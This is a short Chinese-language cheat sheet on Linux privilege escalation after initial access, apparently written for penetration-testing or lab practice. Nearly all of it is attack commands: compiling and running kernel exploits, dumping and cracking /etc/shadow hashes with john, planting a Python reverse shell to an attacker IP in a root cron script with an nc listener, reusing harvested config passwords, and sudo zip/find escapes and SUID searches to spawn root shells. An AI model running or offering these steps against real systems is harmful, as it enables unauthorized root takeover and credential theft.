提权思路
- 当我们已经获取目标机器的较低权限时,我们需要扩大战果来提升权限。
- 查看系统发行版本
cat /etc/issue或者cat /etc/*-release
,查看内核信息uname -a
。根据版本信息使用searchsploit xxx
来查询发行的内核版本是否存在内核溢出漏洞,如果存在漏洞可以直接利用漏洞代码来提升权限:
* 上传漏洞代码,使用gcc xxx.c -o exploit
将代码编译成名为exploit的可执行文件
*chmod +x exploit
赋予执行权限
*./exploit
执行漏洞进行提权 - 明文root密码提权,查看
/etc/shadows
里面存储密码的hash(一般只有root权限可读),如果可以查看到shadow里面的密码:
* 进入etc目录下
* 使用unshadow passwd shadow >cracked
*john cracked
进行破解密码 - 计划任务,系统中会存在一些定时执行的任务,可以使用
cat /etc/crontab
查看定时任务,是否可以替换root定时执行的文件来获取root权限。如果存在.py文件可以使用如下python脚本代替。攻击机上使用nc -nlvp 4444
监听4444端口
*#!/usr/bin/python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("攻击机ip",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash","-i"]);
- 密码复用,对靶机上的信息进行查看,看看是否存在一些网页配置文件,数据库配置文件。如果存在,查看是否有账号密码等敏感信息,可以尝试靶机开放ssh服务的情况下进行远程登录。
- root提权命令,使用
sudo -l
可以查看当前用户
可以执行的root提权命令,如果存在就可以使用相关命令进行提权。下面使用zip压缩命令进行举例:
*mkdir exp
新建一个文件夹
*sudo -u root zip exp.zip exp -T -unzip-command="sh -c /bin/bash"
*find / -name 1.txt -exec "whoami" \;
find提权find / -name 1.txt -exec "/bin/sh" \;
- 利用SUID位进行提权
find / -perm -u=s -type f 2>/dev/null
查找具有SUID的程序进行提权。